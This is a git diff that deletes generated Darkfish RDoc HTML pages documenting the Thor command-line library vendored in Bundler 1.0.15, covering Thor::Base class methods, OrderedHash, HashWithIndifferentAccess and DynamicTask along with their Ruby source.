-				<a name="method-i-class_options"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">class_options</span><span
-						class="method-args">(options=nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Adds a bunch of options to the set of class options.
-</p>
-<pre>
-  class_options :foo =&gt; false, :bar =&gt; :required, :baz =&gt; :string
-</pre>
-<p>
-If you prefer more detailed declaration, check class_option.
-</p>
-<h4>Parameters</h4>
-<p>
-Hash[Symbol => Object]
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="class-options-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 202</span>
-202:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">class_options</span>(<span class="ruby-identifier">options</span>=<span class="ruby-keyword kw">nil</span>)
-203:         <span class="ruby-ivar">@class_options</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">from_superclass</span>(<span class="ruby-value">:class_options</span>, {})
-204:         <span class="ruby-identifier">build_options</span>(<span class="ruby-identifier">options</span>, <span class="ruby-ivar">@class_options</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>
-205:         <span class="ruby-ivar">@class_options</span>
-206:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="group-method" class="method-detail ">
-				<a name="method-i-group"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">group</span><span
-						class="method-args">(name=nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Defines the group. This is used when thor list is invoked so you can
-specify that only tasks from a pre-defined group will be shown. Defaults to
-standard.
-</p>
-<h4>Parameters</h4>
-<p>
-name<String|Symbol>
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="group-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 269</span>
-269:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">group</span>(<span class="ruby-identifier">name</span>=<span class="ruby-keyword kw">nil</span>)
-270:         <span class="ruby-keyword kw">case</span> <span class="ruby-identifier">name</span>
-271:           <span class="ruby-keyword kw">when</span> <span class="ruby-keyword kw">nil</span>
-272:             <span class="ruby-ivar">@group</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">from_superclass</span>(<span class="ruby-value">:group</span>, <span class="ruby-value str">'standard'</span>)
-273:           <span class="ruby-keyword kw">else</span>
-274:             <span class="ruby-ivar">@group</span> = <span class="ruby-identifier">name</span>.<span class="ruby-identifier">to_s</span>
-275:         <span class="ruby-keyword kw">end</span>
-276:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="namespace-method" class="method-detail ">
-				<a name="method-i-namespace"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">namespace</span><span
-						class="method-args">(name=nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Sets the namespace for the <a href="../../Thor.html">Thor</a> or
-Thor::Group class. By default the namespace is retrieved from the class
-name. If your <a href="../../Thor.html">Thor</a> class is named
-Scripts::MyScript, the help method, for example, will be called as:
-</p>
-<pre>
-  thor scripts:my_script -h
-</pre>
-<p>
-If you change the namespace:
-</p>
-<pre>
-  namespace :my_scripts
-</pre>
-<p>
-You change how your tasks are invoked:
-</p>
-<pre>
-  thor my_scripts -h
-</pre>
-<p>
-Finally, if you change your namespace to default:
-</p>
-<pre>
-  namespace :default
-</pre>
-<p>
-Your tasks can be invoked with a shortcut. Instead of:
-</p>
-<pre>
-  thor :my_task</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="namespace-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 369</span>
-369:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">namespace</span>(<span class="ruby-identifier">name</span>=<span class="ruby-keyword kw">nil</span>)
-370:         <span class="ruby-keyword kw">case</span> <span class="ruby-identifier">name</span>
-371:         <span class="ruby-keyword kw">when</span> <span class="ruby-keyword kw">nil</span>
-372:           <span class="ruby-ivar">@namespace</span> <span class="ruby-operator">||=</span> <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Util</span>.<span class="ruby-identifier">namespace_from_thor_class</span>(<span class="ruby-keyword kw">self</span>)
-373:         <span class="ruby-keyword kw">else</span>
-374:           <span class="ruby-ivar">@namespace</span> = <span class="ruby-identifier">name</span>.<span class="ruby-identifier">to_s</span>
-375:         <span class="ruby-keyword kw">end</span>
-376:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="no-tasks-method" class="method-detail ">
-				<a name="method-i-no_tasks"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">no_tasks</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-All methods defined inside the given block are not added as tasks.
-</p>
-<p>
-So you can do:
-</p>
-<pre>
-  class MyScript &lt; Thor
-    no_tasks do
-      def this_is_not_a_task
-      end
-    end
-  end
-</pre>
-<p>
-You can also add the method and remove it from the task list:
-</p>
-<pre>
-  class MyScript &lt; Thor
-    def this_is_not_a_task
-    end
-    remove_task :this_is_not_a_task
-  end</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="no-tasks-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 340</span>
-340:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">no_tasks</span>
-341:         <span class="ruby-ivar">@no_tasks</span> = <span class="ruby-keyword kw">true</span>
-342:         <span class="ruby-keyword kw">yield</span>
-343:       <span class="ruby-keyword kw">ensure</span>
-344:         <span class="ruby-ivar">@no_tasks</span> = <span class="ruby-keyword kw">false</span>
-345:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="remove-argument-method" class="method-detail ">
-				<a name="method-i-remove_argument"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">remove_argument</span><span
-						class="method-args">(*names)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Removes a previous defined argument. If :undefine is given, undefine
-accessors as well.
-</p>
-<h4>Paremeters</h4>
-<table>
-<tr><td valign="top">names<Array></td><td><p>
-Arguments to be removed
-</p>
-</td></tr>
-</table>
-<h4>Examples</h4>
-<pre>
-  remove_argument :foo
-  remove_argument :foo, :bar, :baz, :undefine =&gt; true</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="remove-argument-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 238</span>
-238:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">remove_argument</span>(*<span class="ruby-identifier">names</span>)
-239:         <span class="ruby-identifier">options</span> = <span class="ruby-identifier">names</span>.<span class="ruby-identifier">last</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Hash</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">names</span>.<span class="ruby-identifier">pop</span> <span class="ruby-operator">:</span> {}
-240: 
-241:         <span class="ruby-identifier">names</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">name</span><span class="ruby-operator">|</span>
-242:           <span class="ruby-identifier">arguments</span>.<span class="ruby-identifier">delete_if</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">a</span><span class="ruby-operator">|</span> <span class="ruby-identifier">a</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">name</span>.<span class="ruby-identifier">to_s</span> }
-243:           <span class="ruby-identifier">undef_method</span> <span class="ruby-identifier">name</span>, <span class="ruby-node">&quot;#{name}=&quot;</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:undefine</span>]
-244:         <span class="ruby-keyword kw">end</span>
-245:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="remove-class-option-method" class="method-detail ">
-				<a name="method-i-remove_class_option"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">remove_class_option</span><span
-						class="method-args">(*names)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Removes a previous defined class option.
-</p>
-<h4>Paremeters</h4>
-<table>
-<tr><td valign="top">names<Array></td><td><p>
-Class options to be removed
-</p>
-</td></tr>
-</table>
-<h4>Examples</h4>
-<pre>
-  remove_class_option :foo
-  remove_class_option :foo, :bar, :baz</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="remove-class-option-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 257</span>
-257:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">remove_class_option</span>(*<span class="ruby-identifier">names</span>)
-258:         <span class="ruby-identifier">names</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">name</span><span class="ruby-operator">|</span>
-259:           <span class="ruby-identifier">class_options</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-identifier">name</span>)
-260:         <span class="ruby-keyword kw">end</span>
-261:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="remove-task-method" class="method-detail ">
-				<a name="method-i-remove_task"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">remove_task</span><span
-						class="method-args">(*names)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Removes a given task from this <a href="../../Thor.html">Thor</a> class.
-This is usually done if you are inheriting from another class and
-don&#8217;t want it to be available anymore.
-</p>
-<p>
-By default it only remove the mapping to the task. But you can supply
-:undefine => true to undefine the method from the class as well.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">name<Symbol|String></td><td><p>
-The name of the task to be removed
-</p>
-</td></tr>
-<tr><td valign="top">options<Hash></td><td><p>
-You can give :undefine => true if you want tasks the method to be undefined
-from the class as well.
-</p>
-</td></tr>
-</table>
-					
-
-					
-					<div class="method-source-code"
-						id="remove-task-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 311</span>
-311:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">remove_task</span>(*<span class="ruby-identifier">names</span>)
-312:         <span class="ruby-identifier">options</span> = <span class="ruby-identifier">names</span>.<span class="ruby-identifier">last</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Hash</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">names</span>.<span class="ruby-identifier">pop</span> <span class="ruby-operator">:</span> {}
-313: 
-314:         <span class="ruby-identifier">names</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">name</span><span class="ruby-operator">|</span>
-315:           <span class="ruby-identifier">tasks</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-identifier">name</span>.<span class="ruby-identifier">to_s</span>)
-316:           <span class="ruby-identifier">all_tasks</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-identifier">name</span>.<span class="ruby-identifier">to_s</span>)
-317:           <span class="ruby-identifier">undef_method</span> <span class="ruby-identifier">name</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:undefine</span>]
-318:         <span class="ruby-keyword kw">end</span>
-319:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="start-method" class="method-detail ">
-				<a name="method-i-start"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">start</span><span
-						class="method-args">(given_args=ARGV, config={})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Parses the task and options from the given args, instantiate the class and
-invoke the task. This method is used when the arguments must be parsed from
-an array. If you are inside Ruby and want to use a <a
-href="../../Thor.html">Thor</a> class, you can simply initialize it:
-</p>
-<pre>
-  script = MyScript.new(args, options, config)
-  script.invoke(:task, first_arg, second_arg, third_arg)</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="start-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 386</span>
-386:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">start</span>(<span class="ruby-identifier">given_args</span>=<span class="ruby-constant">ARGV</span>, <span class="ruby-identifier">config</span>={})
-387:         <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">debugging</span> = <span class="ruby-identifier">given_args</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-value str">&quot;--debug&quot;</span>)
-388:         <span class="ruby-identifier">config</span>[<span class="ruby-value">:shell</span>] <span class="ruby-operator">||=</span> <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Base</span>.<span class="ruby-identifier">shell</span>.<span class="ruby-identifier">new</span>
-389:         <span class="ruby-identifier">dispatch</span>(<span class="ruby-keyword kw">nil</span>, <span class="ruby-identifier">given_args</span>.<span class="ruby-identifier">dup</span>, <span class="ruby-keyword kw">nil</span>, <span class="ruby-identifier">config</span>)
-390:       <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Error</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">e</span>
-391:         <span class="ruby-identifier">debugging</span> <span class="ruby-operator">?</span> (<span class="ruby-identifier">raise</span> <span class="ruby-identifier">e</span>) <span class="ruby-operator">:</span> <span class="ruby-identifier">config</span>[<span class="ruby-value">:shell</span>].<span class="ruby-identifier">error</span>(<span class="ruby-identifier">e</span>.<span class="ruby-identifier">message</span>)
-392:         <span class="ruby-identifier">exit</span>(<span class="ruby-value">1</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">exit_on_failure?</span>
-393:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="tasks-method" class="method-detail ">
-				<a name="method-i-tasks"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">tasks</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Returns the tasks for this <a href="../../Thor.html">Thor</a> class.
-</p>
-<h4>Returns</h4>
-<table>
-<tr><td valign="top">OrderedHash</td><td><p>
-An ordered hash with tasks names as keys and <a
-href="../Task.html">Thor::Task</a> objects as values.
-</p>
-</td></tr>
-</table>
-					
-
-					
-					<div class="method-source-code"
-						id="tasks-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 284</span>
-284:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">tasks</span>
-285:         <span class="ruby-ivar">@tasks</span> <span class="ruby-operator">||=</span> <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">CoreExt</span><span class="ruby-operator">::</span><span class="ruby-constant">OrderedHash</span>.<span class="ruby-identifier">new</span>
-286:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="protected-instance-method-details" class="method-section section">
-			<h3 class="section-header">Protected Instance Methods</h3>
-
-		
-			<div id="exit-on-failure--method" class="method-detail ">
-				<a name="method-i-exit_on_failure%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">exit_on_failure?</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-A flag that makes the process exit with status 1 if any error happens.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="exit-on-failure--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 530</span>
-530:         <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">exit_on_failure?</span>
-531:           <span class="ruby-keyword kw">false</span>
-532:         <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="from-superclass-method" class="method-detail ">
-				<a name="method-i-from_superclass"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">from_superclass</span><span
-						class="method-args">(method, default=nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Retrieves a value from superclass. If it reaches the baseclass, returns
-default.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="from-superclass-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 520</span>
-520:         <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">from_superclass</span>(<span class="ruby-identifier">method</span>, <span class="ruby-identifier">default</span>=<span class="ruby-keyword kw">nil</span>)
-521:           <span class="ruby-keyword kw">if</span> <span class="ruby-keyword kw">self</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">baseclass</span> <span class="ruby-operator">||</span> <span class="ruby-operator">!</span><span class="ruby-identifier">superclass</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-identifier">method</span>, <span class="ruby-keyword kw">true</span>)
-522:             <span class="ruby-identifier">default</span>
-523:           <span class="ruby-keyword kw">else</span>
-524:             <span class="ruby-identifier">value</span> = <span class="ruby-identifier">superclass</span>.<span class="ruby-identifier">send</span>(<span class="ruby-identifier">method</span>)
-525:             <span class="ruby-identifier">value</span>.<span class="ruby-identifier">dup</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">value</span>
-526:           <span class="ruby-keyword kw">end</span>
-527:         <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="inherited-method" class="method-detail ">
-				<a name="method-i-inherited"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">inherited</span><span
-						class="method-args">(klass)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Everytime someone inherits from a <a href="../../Thor.html">Thor</a> class,
-register the klass and file into baseclass.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="inherited-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 494</span>
-494:         <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">inherited</span>(<span class="ruby-identifier">klass</span>)
-495:           <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Base</span>.<span class="ruby-identifier">register_klass_file</span>(<span class="ruby-identifier">klass</span>)
-496:         <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="method-added-method" class="method-detail ">
-				<a name="method-i-method_added"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">method_added</span><span
-						class="method-args">(meth)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Fire this callback whenever a method is added. Added methods are tracked as
-tasks by invoking the create_task method.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="method-added-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 500</span>
-500:         <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">method_added</span>(<span class="ruby-identifier">meth</span>)
-501:           <span class="ruby-identifier">meth</span> = <span class="ruby-identifier">meth</span>.<span class="ruby-identifier">to_s</span>
-502: 
-503:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">meth</span> <span class="ruby-operator">==</span> <span class="ruby-value str">&quot;initialize&quot;</span>
-504:             <span class="ruby-identifier">initialize_added</span>
-505:             <span class="ruby-keyword kw">return</span>
-506:           <span class="ruby-keyword kw">end</span>
-507: 
-508:           <span class="ruby-comment cmt"># Return if it's not a public instance method</span>
-509:           <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">public_instance_methods</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">meth</span>) <span class="ruby-operator">||</span>
-510:                         <span class="ruby-identifier">public_instance_methods</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">meth</span>.<span class="ruby-identifier">to_sym</span>)
-511: 
-512:           <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@no_tasks</span> <span class="ruby-operator">||</span> <span class="ruby-operator">!</span><span class="ruby-identifier">create_task</span>(<span class="ruby-identifier">meth</span>)
-513: 
-514:           <span class="ruby-identifier">is_thor_reserved_word?</span>(<span class="ruby-identifier">meth</span>, <span class="ruby-value">:task</span>)
-515:           <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Base</span>.<span class="ruby-identifier">register_klass_file</span>(<span class="ruby-keyword kw">self</span>)
-516:         <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="print-options-method" class="method-detail ">
-				<a name="method-i-print_options"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">print_options</span><span
-						class="method-args">(shell, options, group_name=nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Receives a set of options and print them.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="print-options-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/base.rb, line 430</span>
-430:         <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">print_options</span>(<span class="ruby-identifier">shell</span>, <span class="ruby-identifier">options</span>, <span class="ruby-identifier">group_name</span>=<span class="ruby-keyword kw">nil</span>)
-431:           <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>.<span class="ruby-identifier">empty?</span>
-432: 
-433:           <span class="ruby-identifier">list</span> = []
-434:           <span class="ruby-identifier">padding</span> = <span class="ruby-identifier">options</span>.<span class="ruby-identifier">collect</span>{ <span class="ruby-operator">|</span><span class="ruby-identifier">o</span><span class="ruby-operator">|</span> <span class="ruby-identifier">o</span>.<span class="ruby-identifier">aliases</span>.<span class="ruby-identifier">size</span> }.<span class="ruby-identifier">max</span>.<span class="ruby-identifier">to_i</span> * <span class="ruby-value">4</span>
-435: 
-436:           <span class="ruby-identifier">options</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">option</span><span class="ruby-operator">|</span>
-437:             <span class="ruby-identifier">item</span> = [ <span class="ruby-identifier">option</span>.<span class="ruby-identifier">usage</span>(<span class="ruby-identifier">padding</span>) ]
-438:             <span class="ruby-identifier">item</span>.<span class="ruby-identifier">push</span>(<span class="ruby-identifier">option</span>.<span class="ruby-identifier">description</span> <span class="ruby-operator">?</span> <span class="ruby-node">&quot;# #{option.description}&quot;</span> <span class="ruby-operator">:</span> <span class="ruby-value str">&quot;&quot;</span>)
-439: 
-440:             <span class="ruby-identifier">list</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">item</span>
-441:             <span class="ruby-identifier">list</span> <span class="ruby-operator">&lt;&lt;</span> [ <span class="ruby-value str">&quot;&quot;</span>, <span class="ruby-node">&quot;# Default: #{option.default}&quot;</span> ] <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">option</span>.<span class="ruby-identifier">show_default?</span>
-442:           <span class="ruby-keyword kw">end</span>
-443: 
-444:           <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">say</span>(<span class="ruby-identifier">group_name</span> <span class="ruby-operator">?</span> <span class="ruby-node">&quot;#{group_name} options:&quot;</span> <span class="ruby-operator">:</span> <span class="ruby-value str">&quot;Options:&quot;</span>)
-445:           <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">print_table</span>(<span class="ruby-identifier">list</span>, <span class="ruby-value">:ident</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">2</span>)
-446:           <span class="ruby-identifier">shell</span>.<span class="ruby-identifier">say</span> <span class="ruby-value str">&quot;&quot;</span>
-447:         <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
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-				
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-	
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-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
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-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
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-</html>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/CoreExt.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/CoreExt.html
deleted file mode 100644
index 8b570370..00000000
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-<body class="module">
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-			<div id="file-list-section" class="section">
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-				<div class="section-body">
-					<ul>
-					
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-				<h3 class="section-header">Namespace</h3>
-				<ul class="link-list">
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-					<li><span class="type">CLASS</span> <a href="CoreExt/HashWithIndifferentAccess.html">Thor::CoreExt::HashWithIndifferentAccess</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="CoreExt/OrderedHash.html">Thor::CoreExt::OrderedHash</a></li>
-					
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/CoreExt/HashWithIndifferentAccess.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/CoreExt/HashWithIndifferentAccess.html
deleted file mode 100644
index 3ffeaed6..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/CoreExt/HashWithIndifferentAccess.html
+++ /dev/null
@@ -1,339 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>Class: Thor::CoreExt::HashWithIndifferentAccess</title>
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-<body class="class">
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-        </h3>
-			</div>
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-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
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-		<div id="class-metadata">
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-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link">::Hash</p>
-				
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-		<h1 class="class">Thor::CoreExt::HashWithIndifferentAccess</h1>
-
-		<div id="description">
-			<p>
-A hash with indifferent access and magic predicates.
-</p>
-<pre>
-  hash = Thor::CoreExt::HashWithIndifferentAccess.new 'foo' =&gt; 'bar', 'baz' =&gt; 'bee', 'force' =&gt; true
-
-  hash[:foo]  #=&gt; 'bar'
-  hash['foo'] #=&gt; 'bar'
-  hash.foo?   #=&gt; true</pre>
-
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-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
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-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
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-			Rdoc Generator</a> 1.1.6</small>.</p>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/CoreExt/OrderedHash.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/CoreExt/OrderedHash.html
deleted file mode 100644
index 1703c882..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/CoreExt/OrderedHash.html
+++ /dev/null
@@ -1,337 +0,0 @@
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-		<h1 class="class">Thor::CoreExt::OrderedHash</h1>
-
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-			<p>
-This class is based on the Ruby 1.9 ordered hashes.
-</p>
-<p>
-It keeps the semantics and most of the efficiency of normal hashes while
-also keeping track of the order in which elements were set.
-</p>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/DynamicTask.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/DynamicTask.html
deleted file mode 100644
index b38942fa..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/DynamicTask.html
+++ /dev/null
@@ -1,428 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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-		<h1 class="class">Thor::DynamicTask</h1>
-
-		<div id="description">
-			<p>
-A dynamic task that handles method missing scenarios.
-</p>
-
-		</div>
-
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-		
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-			<h3 class="section-header">Public Class Methods</h3>
-
-		
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-
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-				
-					<span class="method-name">new</span><span
-						class="method-args">(name, options=nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="new-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/task.rb, line 102</span>
-102:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">options</span>=<span class="ruby-keyword kw">nil</span>)
